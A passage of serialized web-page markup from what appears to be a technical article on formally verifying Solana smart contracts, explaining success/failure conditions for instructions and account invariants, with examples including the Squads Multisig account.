Context",{"type":25,"tag":201,"props":21788,"children":21789},{"style":220},[21790],{"type":31,"value":1298},{"type":25,"tag":201,"props":21792,"children":21793},{"style":4925},[21794],{"type":31,"value":21676},{"type":25,"tag":201,"props":21796,"children":21797},{"style":220},[21798],{"type":31,"value":8139},{"type":25,"tag":201,"props":21800,"children":21801},{"style":246},[21802],{"type":31,"value":21803},"amount",{"type":25,"tag":201,"props":21805,"children":21806},{"style":261},[21807],{"type":31,"value":5997},{"type":25,"tag":201,"props":21809,"children":21810},{"style":4925},[21811],{"type":31,"value":7369},{"type":25,"tag":201,"props":21813,"children":21814},{"style":220},[21815],{"type":31,"value":385},{"type":25,"tag":201,"props":21817,"children":21818},{"style":261},[21819],{"type":31,"value":15259},{"type":25,"tag":201,"props":21821,"children":21822},{"style":4925},[21823],{"type":31,"value":15264},{"type":25,"tag":201,"props":21825,"children":21826},{"style":220},[21827],{"type":31,"value":21828},"\u003C()> {\n",{"type":25,"tag":201,"props":21830,"children":21831},{"class":203,"line":330},[21832],{"type":25,"tag":201,"props":21833,"children":21834},{"style":261},[21835],{"type":31,"value":21836},"    ...\n",{"type":25,"tag":201,"props":21838,"children":21839},{"class":203,"line":397},[21840],{"type":25,"tag":201,"props":21841,"children":21842},{"style":220},[21843],{"type":31,"value":1187},{"type":25,"tag":4439,"props":21845,"children":21846},{},[21847],{"type":25,"tag":34,"props":21848,"children":21849},{},[21850,21851,21856,21858,21863,21865,21870],{"type":31,"value":18109},{"type":25,"tag":115,"props":21852,"children":21854},{"className":21853},[],[21855],{"type":31,"value":21658},{"type":31,"value":21857}," expression specifies ",{"type":25,"tag":65,"props":21859,"children":21860},{},[21861],{"type":31,"value":21862},"succifient",{"type":31,"value":21864}," but not ",{"type":25,"tag":65,"props":21866,"children":21867},{},[21868],{"type":31,"value":21869},"necessary",{"type":31,"value":21871}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":25,"tag":20292,"props":21873,"children":21874},{},[],{"type":25,"tag":34,"props":21876,"children":21877},{},[21878,21880,21885],{"type":31,"value":21879},"Another example is that for ",{"type":25,"tag":65,"props":21881,"children":21882},{},[21883],{"type":31,"value":21884},"crank",{"type":31,"value":21886}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":25,"tag":191,"props":21888,"children":21890},{"code":21889,"language":4486,"meta":7,"className":4487,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[21891],{"type":25,"tag":115,"props":21892,"children":21893},{"__ignoreMap":7},[21894,21902,21956,21963],{"type":25,"tag":201,"props":21895,"children":21896},{"class":203,"line":204},[21897],{"type":25,"tag":201,"props":21898,"children":21899},{"style":220},[21900],{"type":31,"value":21901},"#[succeeds_if(true)]\n",{"type":25,"tag":201,"props":21903,"children":21904},{"class":203,"line":226},[21905,21909,21914,21918,21922,21926,21930,21934,21939,21944,21948,21952],{"type":25,"tag":201,"props":21906,"children":21907},{"style":208},[21908],{"type":31,"value":21763},{"type":25,"tag":201,"props":21910,"children":21911},{"style":214},[21912],{"type":31,"value":21913}," my_crank",{"type":25,"tag":201,"props":21915,"children":21916},{"style":220},[21917],{"type":31,"value":298},{"type":25,"tag":201,"props":21919,"children":21920},{"style":246},[21921],{"type":31,"value":21777},{"type":25,"tag":201,"props":21923,"children":21924},{"style":261},[21925],{"type":31,"value":5997},{"type":25,"tag":201,"props":21927,"children":21928},{"style":4925},[21929],{"type":31,"value":21786},{"type":25,"tag":201,"props":21931,"children":21932},{"style":220},[21933],{"type":31,"value":1298},{"type":25,"tag":201,"props":21935,"children":21936},{"style":4925},[21937],{"type":31,"value":21938},"Crank",{"type":25,"tag":201,"props":21940,"children":21941},{"style":220},[21942],{"type":31,"value":21943},">) ",{"type":25,"tag":201,"props":21945,"children":21946},{"style":261},[21947],{"type":31,"value":15259},{"type":25,"tag":201,"props":21949,"children":21950},{"style":4925},[21951],{"type":31,"value":15264},{"type":25,"tag":201,"props":21953,"children":21954},{"style":220},[21955],{"type":31,"value":21828},{"type":25,"tag":201,"props":21957,"children":21958},{"class":203,"line":278},[21959],{"type":25,"tag":201,"props":21960,"children":21961},{"style":261},[21962],{"type":31,"value":21836},{"type":25,"tag":201,"props":21964,"children":21965},{"class":203,"line":311},[21966],{"type":25,"tag":201,"props":21967,"children":21968},{"style":220},[21969],{"type":31,"value":1187},{"type":25,"tag":34,"props":21971,"children":21972},{},[21973,21975,21979,21981,21987],{"type":31,"value":21974},"With this invariant, you could prove that the function ",{"type":25,"tag":65,"props":21976,"children":21977},{},[21978],{"type":31,"value":14596},{"type":31,"value":21980}," returns ",{"type":25,"tag":115,"props":21982,"children":21984},{"className":21983},[],[21985],{"type":31,"value":21986},"Ok",{"type":31,"value":21988},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":25,"tag":20292,"props":21990,"children":21991},{},[],{"type":25,"tag":34,"props":21993,"children":21994},{},[21995,21997,22002,22003,22008,22010,22015,22017,22022,22024,22029],{"type":31,"value":21996},"Note that ",{"type":25,"tag":115,"props":21998,"children":22000},{"className":21999},[],[22001],{"type":31,"value":21651},{"type":31,"value":12493},{"type":25,"tag":115,"props":22004,"children":22006},{"className":22005},[],[22007],{"type":31,"value":21658},{"type":31,"value":22009}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":25,"tag":115,"props":22011,"children":22013},{"className":22012},[],[22014],{"type":31,"value":21651},{"type":31,"value":22016}," is not satisfied and a function may fail even if ",{"type":25,"tag":115,"props":22018,"children":22020},{"className":22019},[],[22021],{"type":31,"value":21658},{"type":31,"value":22023}," is not satisfied. If you want to prove the ",{"type":25,"tag":65,"props":22025,"children":22026},{},[22027],{"type":31,"value":22028},"exact condition",{"type":31,"value":22030}," required for an instruction to succeed, you could use a form like the following:",{"type":25,"tag":191,"props":22032,"children":22034},{"code":22033,"language":4486,"meta":7,"className":4487,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[22035],{"type":25,"tag":115,"props":22036,"children":22037},{"__ignoreMap":7},[22038,22082,22089,22106,22131,22183,22190],{"type":25,"tag":201,"props":22039,"children":22040},{"class":203,"line":204},[22041,22045,22050,22054,22058,22062,22066,22070,22074,22078],{"type":25,"tag":201,"props":22042,"children":22043},{"style":208},[22044],{"type":31,"value":21763},{"type":25,"tag":201,"props":22046,"children":22047},{"style":214},[22048],{"type":31,"value":22049}," my_invariant",{"type":25,"tag":201,"props":22051,"children":22052},{"style":220},[22053],{"type":31,"value":298},{"type":25,"tag":201,"props":22055,"children":22056},{"style":261},[22057],{"type":31,"value":11095},{"type":25,"tag":201,"props":22059,"children":22060},{"style":220},[22061],{"type":31,"value":385},{"type":25,"tag":201,"props":22063,"children":22064},{"style":261},[22065],{"type":31,"value":15259},{"type":25,"tag":201,"props":22067,"children":22068},{"style":4925},[22069],{"type":31,"value":13552},{"type":25,"tag":201,"props":22071,"children":22072},{"style":220},[22073],{"type":31,"value":11090},{"type":25,"tag":201,"props":22075,"children":22076},{"style":261},[22077],{"type":31,"value":11095},{"type":25,"tag":201,"props":22079,"children":22080},{"style":220},[22081],{"type":31,"value":11100},{"type":25,"tag":201,"props":22083,"children":22084},{"class":203,"line":226},[22085],{"type":25,"tag":201,"props":22086,"children":22087},{"emptyLinePlaceholder":17},[22088],{"type":31,"value":496},{"type":25,"tag":201,"props":22090,"children":22091},{"class":203,"line":278},[22092,22097,22101],{"type":25,"tag":201,"props":22093,"children":22094},{"style":220},[22095],{"type":31,"value":22096},"#[succeeds_if(my_invariant(",{"type":25,"tag":201,"props":22098,"children":22099},{"style":261},[22100],{"type":31,"value":11095},{"type":25,"tag":201,"props":22102,"children":22103},{"style":220},[22104],{"type":31,"value":22105},"))]\n",{"type":25,"tag":201,"props":22107,"children":22108},{"class":203,"line":311},[22109,22114,22118,22123,22127],{"type":25,"tag":201,"props":22110,"children":22111},{"style":220},[22112],{"type":31,"value":22113},"#[errors_if(",{"type":25,"tag":201,"props":22115,"children":22116},{"style":261},[22117],{"type":31,"value":4114},{"type":25,"tag":201,"props":22119,"children":22120},{"style":220},[22121],{"type":31,"value":22122},"my_invariant(",{"type":25,"tag":201,"props":22124,"children":22125},{"style":261},[22126],{"type":31,"value":11095},{"type":25,"tag":201,"props":22128,"children":22129},{"style":220},[22130],{"type":31,"value":22105},{"type":25,"tag":201,"props":22132,"children":22133},{"class":203,"line":330},[22134,22138,22143,22147,22151,22155,22159,22163,22167,22171,22175,22179],{"type":25,"tag":201,"props":22135,"children":22136},{"style":208},[22137],{"type":31,"value":21763},{"type":25,"tag":201,"props":22139,"children":22140},{"style":214},[22141],{"type":31,"value":22142}," my_instruction",{"type":25,"tag":201,"props":22144,"children":22145},{"style":220},[22146],{"type":31,"value":298},{"type":25,"tag":201,"props":22148,"children":22149},{"style":246},[22150],{"type":31,"value":21777},{"type":25,"tag":201,"props":22152,"children":22153},{"style":261},[22154],{"type":31,"value":5997},{"type":25,"tag":201,"props":22156,"children":22157},{"style":4925},[22158],{"type":31,"value":21786},{"type":25,"tag":201,"props":22160,"children":22161},{"style":220},[22162],{"type":31,"value":1298},{"type":25,"tag":201,"props":22164,"children":22165},{"style":261},[22166],{"type":31,"value":11095},{"type":25,"tag":201,"props":22168,"children":22169},{"style":220},[22170],{"type":31,"value":21943},{"type":25,"tag":201,"props":22172,"children":22173},{"style":261},[22174],{"type":31,"value":15259},{"type":25,"tag":201,"props":22176,"children":22177},{"style":4925},[22178],{"type":31,"value":15264},{"type":25,"tag":201,"props":22180,"children":22181},{"style":220},[22182],{"type":31,"value":21828},{"type":25,"tag":201,"props":22184,"children":22185},{"class":203,"line":397},[22186],{"type":25,"tag":201,"props":22187,"children":22188},{"style":261},[22189],{"type":31,"value":21836},{"type":25,"tag":201,"props":22191,"children":22192},{"class":203,"line":437},[22193],{"type":25,"tag":201,"props":22194,"children":22195},{"style":220},[22196],{"type":31,"value":1187},{"type":25,"tag":34,"props":22198,"children":22199},{},[22200],{"type":31,"value":22201},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":25,"tag":20392,"props":22203,"children":22205},{"id":22204},"account-invariants",[22206],{"type":31,"value":22207},"Account Invariants",{"type":25,"tag":34,"props":22209,"children":22210},{},[22211,22213,22218],{"type":31,"value":22212},"The other type of invariant is an ",{"type":25,"tag":1252,"props":22214,"children":22215},{},[22216],{"type":31,"value":22217},"Account Invariant",{"type":31,"value":22219},". This invariant describes some property of an account that should always hold.",{"type":25,"tag":34,"props":22221,"children":22222},{},[22223,22225,22230,22231,22237],{"type":31,"value":22224},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":25,"tag":115,"props":22226,"children":22228},{"className":22227},[],[22229],{"type":31,"value":5228},{"type":31,"value":14636},{"type":25,"tag":115,"props":22232,"children":22234},{"className":22233},[],[22235],{"type":31,"value":22236},"init",{"type":31,"value":3953},{"type":25,"tag":34,"props":22239,"children":22240},{},[22241,22243,22249],{"type":31,"value":22242},"For example, given a mock ",{"type":25,"tag":115,"props":22244,"children":22246},{"className":22245},[],[22247],{"type":31,"value":22248},"UserStatement",{"type":31,"value":22250}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":25,"tag":191,"props":22252,"children":22254},{"code":22253,"language":4486,"meta":7,"className":4487,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[22255],{"type":25,"tag":115,"props":22256,"children":22257},{"__ignoreMap":7},[22258,22266,22274,22308,22315,22331,22357,22381,22405],{"type":25,"tag":201,"props":22259,"children":22260},{"class":203,"line":204},[22261],{"type":25,"tag":201,"props":22262,"children":22263},{"style":220},[22264],{"type":31,"value":22265},"#[account]\n",{"type":25,"tag":201,"props":22267,"children":22268},{"class":203,"line":226},[22269],{"type":25,"tag":201,"props":22270,"children":22271},{"style":220},[22272],{"type":31,"value":22273},"#[invariant(\n",{"type":25,"tag":201,"props":22275,"children":22276},{"class":203,"line":278},[22277,22282,22286,22291,22295,22299,22303],{"type":25,"tag":201,"props":22278,"children":22279},{"style":220},[22280],{"type":31,"value":22281},"    self",{"type":25,"tag":201,"props":22283,"children":22284},{"style":261},[22285],{"type":31,"value":80},{"type":25,"tag":201,"props":22287,"children":22288},{"style":220},[22289],{"type":31,"value":22290},"assets ",{"type":25,"tag":201,"props":22292,"children":22293},{"style":261},[22294],{"type":31,"value":11446},{"type":25,"tag":201,"props":22296,"children":22297},{"style":220},[22298],{"type":31,"value":15299},{"type":25,"tag":201,"props":22300,"children":22301},{"style":261},[22302],{"type":31,"value":80},{"type":25,"tag":201,"props":22304,"children":22305},{"style":220},[22306],{"type":31,"value":22307},"liabilities\n",{"type":25,"tag":201,"props":22309,"children":22310},{"class":203,"line":311},[22311],{"type":25,"tag":201,"props":22312,"children":22313},{"style":220},[22314],{"type":31,"value":21755},{"type":25,"tag":201,"props":22316,"children":22317},{"class":203,"line":330},[22318,22322,22327],{"type":25,"tag":201,"props":22319,"children":22320},{"style":208},[22321],{"type":31,"value":10905},{"type":25,"tag":201,"props":22323,"children":22324},{"style":4925},[22325],{"type":31,"value":22326}," UserStatement",{"type":25,"tag":201,"props":22328,"children":22329},{"style":220},[22330],{"type":31,"value":327},{"type":25,"tag":201,"props":22332,"children":22333},{"class":203,"line":397},[22334,22339,22344,22348,22353],{"type":25,"tag":201,"props":22335,"children":22336},{"style":208},[22337],{"type":31,"value":22338},"    pub",{"type":25,"tag":201,"props":22340,"children":22341},{"style":246},[22342],{"type":31,"value":22343}," owner",{"type":25,"tag":201,"props":22345,"children":22346},{"style":261},[22347],{"type":31,"value":5997},{"type":25,"tag":201,"props":22349,"children":22350},{"style":4925},[22351],{"type":31,"value":22352}," Pubkey",{"type":25,"tag":201,"props":22354,"children":22355},{"style":220},[22356],{"type":31,"value":547},{"type":25,"tag":201,"props":22358,"children":22359},{"class":203,"line":437},[22360,22364,22369,22373,22377],{"type":25,"tag":201,"props":22361,"children":22362},{"style":208},[22363],{"type":31,"value":22338},{"type":25,"tag":201,"props":22365,"children":22366},{"style":246},[22367],{"type":31,"value":22368}," assets",{"type":25,"tag":201,"props":22370,"children":22371},{"style":261},[22372],{"type":31,"value":5997},{"type":25,"tag":201,"props":22374,"children":22375},{"style":4925},[22376],{"type":31,"value":7369},{"type":25,"tag":201,"props":22378,"children":22379},{"style":220},[22380],{"type":31,"value":547},{"type":25,"tag":201,"props":22382,"children":22383},{"class":203,"line":464},[22384,22388,22393,22397,22401],{"type":25,"tag":201,"props":22385,"children":22386},{"style":208},[22387],{"type":31,"value":22338},{"type":25,"tag":201,"props":22389,"children":22390},{"style":246},[22391],{"type":31,"value":22392}," liabilities",{"type":25,"tag":201,"props":22394,"children":22395},{"style":261},[22396],{"type":31,"value":5997},{"type":25,"tag":201,"props":22398,"children":22399},{"style":4925},[22400],{"type":31,"value":7369},{"type":25,"tag":201,"props":22402,"children":22403},{"style":220},[22404],{"type":31,"value":547},{"type":25,"tag":201,"props":22406,"children":22407},{"class":203,"line":490},[22408],{"type":25,"tag":201,"props":22409,"children":22410},{"style":220},[22411],{"type":31,"value":1187},{"type":25,"tag":34,"props":22413,"children":22414},{},[22415,22417,22422],{"type":31,"value":22416},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":25,"tag":115,"props":22418,"children":22420},{"className":22419},[],[22421],{"type":31,"value":22248},{"type":31,"value":22423}," is created or modified.",{"type":25,"tag":34,"props":22425,"children":22426},{},[22427,22429,22435],{"type":31,"value":22428},"In another example, we developed the following invariant for the ",{"type":25,"tag":71,"props":22430,"children":22432},{"href":20323,"rel":22431},[75],[22433],{"type":31,"value":22434},"Squads Multisig",{"type":31,"value":22436}," wallet account:",{"type":25,"tag":191,"props":22438,"children":22440},{"code":22439,"language":4486,"meta":7,"className":4487,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[22441],{"type":25,"tag":115,"props":22442,"children":22443},{"__ignoreMap":7},[22444,22451,22458,22488,22547,22576,22628,22635,22656,22686,22716,22746,22775,22805,22835,22864,22904],{"type":25,"tag":201,"props":22445,"children":22446},{"class":203,"line":204},[22447],{"type":25,"tag":201,"props":22448,"children":22449},{"style":220},[22450],{"type":31,"value":22265},{"type":25,"tag":201,"props":22452,"children":22453},{"class":203,"line":226},[22454],{"type":25,"tag":201,"props":22455,"children":22456},{"style":220},[22457],{"type":31,"value":22273},{"type":25,"tag":201,"props":22459,"children":22460},{"class":203,"line":278},[22461,22466,22470,22474,22479,22483],{"type":25,"tag":201,"props":22462,"children":22463},{"style":261},[22464],{"type":31,"value":22465},"    !",{"type":25,"tag":201,"props":22467,"children":22468},{"style":220},[22469],{"type":31,"value":15215},{"type":25,"tag":201,"props":22471,"children":22472},{"style":261},[22473],{"type":31,"value":80},{"type":25,"tag":201,"props":22475,"children":22476},{"style":220},[22477],{"type":31,"value":22478},"keys",{"type":25,"tag":201,"props":22480,"children":22481},{"style":261},[22482],{"type":31,"value":80},{"type":25,"tag":201,"props":22484,"children":22485},{"style":220},[22486],{"type":31,"value":22487},"is_empty()\n",{"type":25,"tag":201,"props":22489,"children":22490},{"class":203,"line":311},[22491,22495,22500,22504,22508,22512,22517,22521,22526,22530,22535,22539,22543],{"type":25,"tag":201,"props":22492,"children":22493},{"style":261},[22494],{"type":31,"value":17117},{"type":25,"tag":201,"props":22496,"children":22497},{"style":220},[22498],{"type":31,"value":22499}," (self",{"type":25,"tag":201,"props":22501,"children":22502},{"style":261},[22503],{"type":31,"value":80},{"type":25,"tag":201,"props":22505,"children":22506},{"style":220},[22507],{"type":31,"value":22478},{"type":25,"tag":201,"props":22509,"children":22510},{"style":261},[22511],{"type":31,"value":80},{"type":25,"tag":201,"props":22513,"children":22514},{"style":220},[22515],{"type":31,"value":22516},"len() ",{"type":25,"tag":201,"props":22518,"children":22519},{"style":261},[22520],{"type":31,"value":20913},{"type":25,"tag":201,"props":22522,"children":22523},{"style":4925},[22524],{"type":31,"value":22525}," u16",{"type":25,"tag":201,"props":22527,"children":22528},{"style":261},[22529],{"type":31,"value":4988},{"type":25,"tag":201,"props":22531,"children":22532},{"style":4925},[22533],{"type":31,"value":22534},"MAX",{"type":25,"tag":201,"props":22536,"children":22537},{"style":208},[22538],{"type":31,"value":10335},{"type":25,"tag":201,"props":22540,"children":22541},{"style":4925},[22542],{"type":31,"value":15233},{"type":25,"tag":201,"props":22544,"children":22545},{"style":220},[22546],{"type":31,"value":4666},{"type":25,"tag":201,"props":22548,"children":22549},{"class":203,"line":330},[22550,22554,22558,22562,22567,22571],{"type":25,"tag":201,"props":22551,"children":22552},{"style":261},[22553],{"type":31,"value":17117},{"type":25,"tag":201,"props":22555,"children":22556},{"style":220},[22557],{"type":31,"value":22499},{"type":25,"tag":201,"props":22559,"children":22560},{"style":261},[22561],{"type":31,"value":80},{"type":25,"tag":201,"props":22563,"children":22564},{"style":220},[22565],{"type":31,"value":22566},"threshold ",{"type":25,"tag":201,"props":22568,"children":22569},{"style":261},[22570],{"type":31,"value":11446},{"type":25,"tag":201,"props":22572,"children":22573},{"style":220},[22574],{"type":31,"value":22575}," 1)\n",{"type":25,"tag":201,"props":22577,"children":22578},{"class":203,"line":397},[22579,22583,22587,22591,22595,22599,22603,22607,22611,22615,22619,22623],{"type":25,"tag":201,"props":22580,"children":22581},{"style":261},[22582],{"type":31,"value":17117},{"type":25,"tag":201,"props":22584,"children":22585},{"style":220},[22586],{"type":31,"value":22499},{"type":25,"tag":201,"props":22588,"children":22589},{"style":261},[22590],{"type":31,"value":80},{"type":25,"tag":201,"props":22592,"children":22593},{"style":220},[22594],{"type":31,"value":22566},{"type":25,"tag":201,"props":22596,"children":22597},{"style":208},[22598],{"type":31,"value":10349},{"type":25,"tag":201,"props":22600,"children":22601},{"style":4925},[22602],{"type":31,"value":15233},{"type":25,"tag":201,"props":22604,"children":22605},{"style":261},[22606],{"type":31,"value":9705},{"type":25,"tag":201,"props":22608,"children":22609},{"style":220},[22610],{"type":31,"value":15299},{"type":25,"tag":201,"props":22612,"children":22613},{"style":261},[22614],{"type":31,"value":80},{"type":25,"tag":201,"props":22616,"children":22617},{"style":220},[22618],{"type":31,"value":22478},{"type":25,"tag":201,"props":22620,"children":22621},{"style":261},[22622],{"type":31,"value":80},{"type":25,"tag":201,"props":22624,"children":22625},{"style":220},[22626],{"type":31,"value":22627},"len())\n",{"type":25,"tag":201,"props":22629,"children":22630},{"class":203,"line":437},[22631],{"type":25,"tag":201,"props":22632,"children":22633},{"style":220},[22634],{"type":31,"value":21755},{"type":25,"tag":201,"props":22636,"children":22637},{"class":203,"line":464},[22638,22642,22647,22652],{"type":25,"tag":201,"props":22639,"children":22640},{"style":208},[22641],{"type":31,"value":15192},{"type":25,"tag":201,"props":22643,"children":22644},{"style":208},[22645],{"type":31,"value":22646}," struct",{"type":25,"tag":201,"props":22648,"children":22649},{"style":4925},[22650],{"type":31,"value":22651}," Ms",{"type":25,"tag":201,"props":22653,"children":22654},{"style":220},[22655],{"type":31,"value":327},{"type":25,"tag":201,"props":22657,"children":22658},{"class":203,"line":490},[22659,22663,22668,22672,22676,22681],{"type":25,"tag":201,"props":22660,"children":22661},{"style":208},[22662],{"type":31,"value":22338},{"type":25,"tag":201,"props":22664,"children":22665},{"style":246},[22666],{"type":31,"value":22667}," threshold",{"type":25,"tag":201,"props":22669,"children":22670},{"style":261},[22671],{"type":31,"value":5997},{"type":25,"tag":201,"props":22673,"children":22674},{"style":4925},[22675],{"type":31,"value":22525},{"type":25,"tag":201,"props":22677,"children":22678},{"style":220},[22679],{"type":31,"value":22680},",               ",{"type":25,"tag":201,"props":22682,"children":22683},{"style":4497},[22684],{"type":31,"value":22685},"// threshold for signatures\n",{"type":25,"tag":201,"props":22687,"children":22688},{"class":203,"line":499},[22689,22693,22698,22702,22706,22711],{"type":25,"tag":201,"props":22690,"children":22691},{"style":208},[22692],{"type":31,"value":22338},{"type":25,"tag":201,"props":22694,"children":22695},{"style":246},[22696],{"type":31,"value":22697}," authority_index",{"type":25,"tag":201,"props":22699,"children":22700},{"style":261},[22701],{"type":31,"value":5997},{"type":25,"tag":201,"props":22703,"children":22704},{"style":4925},[22705],{"type":31,"value":22525},{"type":25,"tag":201,"props":22707,"children":22708},{"style":220},[22709],{"type":31,"value":22710},",         ",{"type":25,"tag":201,"props":22712,"children":22713},{"style":4497},[22714],{"type":31,"value":22715},"// index to seed other authorities under this multisig\n",{"type":25,"tag":201,"props":22717,"children":22718},{"class":203,"line":522},[22719,22723,22728,22732,22736,22741],{"type":25,"tag":201,"props":22720,"children":22721},{"style":208},[22722],{"type":31,"value":22338},{"type":25,"tag":201,"props":22724,"children":22725},{"style":246},[22726],{"type":31,"value":22727}," transaction_index",{"type":25,"tag":201,"props":22729,"children":22730},{"style":261},[22731],{"type":31,"value":5997},{"type":25,"tag":201,"props":22733,"children":22734},{"style":4925},[22735],{"type":31,"value":19046},{"type":25,"tag":201,"props":22737,"children":22738},{"style":220},[22739],{"type":31,"value":22740},",       ",{"type":25,"tag":201,"props":22742,"children":22743},{"style":4497},[22744],{"type":31,"value":22745},"// look up and seed reference for transactions\n",{"type":25,"tag":201,"props":22747,"children":22748},{"class":203,"line":531},[22749,22753,22758,22762,22766,22770],{"type":25,"tag":201,"props":22750,"children":22751},{"style":208},[22752],{"type":31,"value":22338},{"type":25,"tag":201,"props":22754,"children":22755},{"style":246},[22756],{"type":31,"value":22757}," ms_change_index",{"type":25,"tag":201,"props":22759,"children":22760},{"style":261},[22761],{"type":31,"value":5997},{"type":25,"tag":201,"props":22763,"children":22764},{"style":4925},[22765],{"type":31,"value":19046},{"type":25,"tag":201,"props":22767,"children":22768},{"style":220},[22769],{"type":31,"value":22710},{"type":25,"tag":201,"props":22771,"children":22772},{"style":4497},[22773],{"type":31,"value":22774},"// the last executed/closed transaction\n",{"type":25,"tag":201,"props":22776,"children":22777},{"class":203,"line":550},[22778,22782,22787,22791,22795,22800],{"type":25,"tag":201,"props":22779,"children":22780},{"style":208},[22781],{"type":31,"value":22338},{"type":25,"tag":201,"props":22783,"children":22784},{"style":246},[22785],{"type":31,"value":22786}," bump",{"type":25,"tag":201,"props":22788,"children":22789},{"style":261},[22790],{"type":31,"value":5997},{"type":25,"tag":201,"props":22792,"children":22793},{"style":4925},[22794],{"type":31,"value":16136},{"type":25,"tag":201,"props":22796,"children":22797},{"style":220},[22798],{"type":31,"value":22799},",                     ",{"type":25,"tag":201,"props":22801,"children":22802},{"style":4497},[22803],{"type":31,"value":22804},"// bump for the multisig seed\n",{"type":25,"tag":201,"props":22806,"children":22807},{"class":203,"line":563},[22808,22812,22817,22821,22825,22830],{"type":25,"tag":201,"props":22809,"children":22810},{"style":208},[22811],{"type":31,"value":22338},{"type":25,"tag":201,"props":22813,"children":22814},{"style":246},[22815],{"type":31,"value":22816}," create_key",{"type":25,"tag":201,"props":22818,"children":22819},{"style":261},[22820],{"type":31,"value":5997},{"type":25,"tag":201,"props":22822,"children":22823},{"style":4925},[22824],{"type":31,"value":22352},{"type":25,"tag":201,"props":22826,"children":22827},{"style":220},[22828],{"type":31,"value":22829},",           ",{"type":25,"tag":201,"props":22831,"children":22832},{"style":4497},[22833],{"type":31,"value":22834},"// random key(or not) used to seed the multisig pda\n",{"type":25,"tag":201,"props":22836,"children":22837},{"class":203,"line":572},[22838,22842,22847,22851,22855,22859],{"type":25,"tag":201,"props":22839,"children":22840},{"style":208},[22841],{"type":31,"value":22338},{"type":25,"tag":201,"props":22843,"children":22844},{"style":246},[22845],{"type":31,"value":22846}," allow_external_execute",{"type":25,"tag":201,"props":22848,"children":22849},{"style":261},[22850],{"type":31,"value":5997},{"type":25,"tag":201,"props":22852,"children":22853},{"style":4925},[22854],{"type":31,"value":13552},{"type":25,"tag":201,"props":22856,"children":22857},{"style":220},[22858],{"type":31,"value":919},{"type":25,"tag":201,"props":22860,"children":22861},{"style":4497},[22862],{"type":31,"value":22863},"// allow non-member keys to execute txs\n",{"type":25,"tag":201,"props":22865,"children":22866},{"class":203,"line":590},[22867,22871,22876,22880,22885,22889,22894,22899],{"type":25,"tag":201,"props":22868,"children":22869},{"style":208},[22870],{"type":31,"value":22338},{"type":25,"tag":201,"props":22872,"children":22873},{"style":246},[22874],{"type":31,"value":22875}," keys",{"type":25,"tag":201,"props":22877,"children":22878},{"style":261},[22879],{"type":31,"value":5997},{"type":25,"tag":201,"props":22881,"children":22882},{"style":4925},[22883],{"type":31,"value":22884}," Vec",{"type":25,"tag":201,"props":22886,"children":22887},{"style":220},[22888],{"type":31,"value":1298},{"type":25,"tag":201,"props":22890,"children":22891},{"style":4925},[22892],{"type":31,"value":22893},"Pubkey",{"type":25,"tag":201,"props":22895,"children":22896},{"style":220},[22897],{"type":31,"value":22898},">,            ",{"type":25,"tag":201,"props":22900,"children":22901},{"style":4497},[22902],{"type":31,"value":22903},"// keys of the members\n",{"type":25,"tag":201,"props":22905,"children":22906},{"class":203,"line":608},[22907],{"type":25,"tag":201,"props":22908,"children":22909},{"style":220},[22910],{"type":31,"value":1187},{"type":25,"tag":34,"props":22912,"children":22913},{},[22914],{"type":31,"value":22915},"Here we are verifying multiple things at once:",{"type":25,"tag":18183,"props":22917,"children":22918},{},[22919,22930,22941,22952],{"type":25,"tag":6948,"props":22920,"children":22921},{},[22922,22928],{"type":25,"tag":115,"props":22923,"children":22925},{"className":22924},[],[22926],{"type":31,"value":22927},"!self.keys.is_empty()",{"type":31,"value":22929}," : ensure there is at least one member",{"type":25,"tag":6948,"props":22931,"children":22932},{},[22933,22939],{"type":25,"tag":115,"props":22934,"children":22936},{"className":22935},[],[22937],{"type":31,"value":22938},"self.keys.len() \u003C= u16::MAX as usize",{"type":31,"value":22940}," : set an upper limit of 65535 members",{"type":25,"tag":6948,"props":22942,"children":22943},{},[22944,22950],{"type":25,"tag":115,"props":22945,"children":22947},{"className":22946},[],[22948],{"type":31,"value":22949},"self.threshold >= 1",{"type":31,"value":22951}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":25,"tag":6948,"props":22953,"children":22954},{},[22955,22961],{"type":25,"tag":115,"props":22956,"children":22958},{"className":22957},[],[22959],{"type":31,"value":22960},"self.threshold as usize \u003C= self.keys.len()",{"type":31,"value":22962}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":25,"tag":26,"props":22964,"children":22966},{"id":22965},"verification-how-do-we-check-that-our-model-is-correct",[22967],{"type":31,"value":22968},"Verification: How do we check that our model is correct?",{"type":25,"tag":34,"props":22970,"children":22971},{},[22972,22974,22978,22980,22985],{"type":31,"value":22973},"Now that we have defined the specific instruction and account invariants, we need to generate 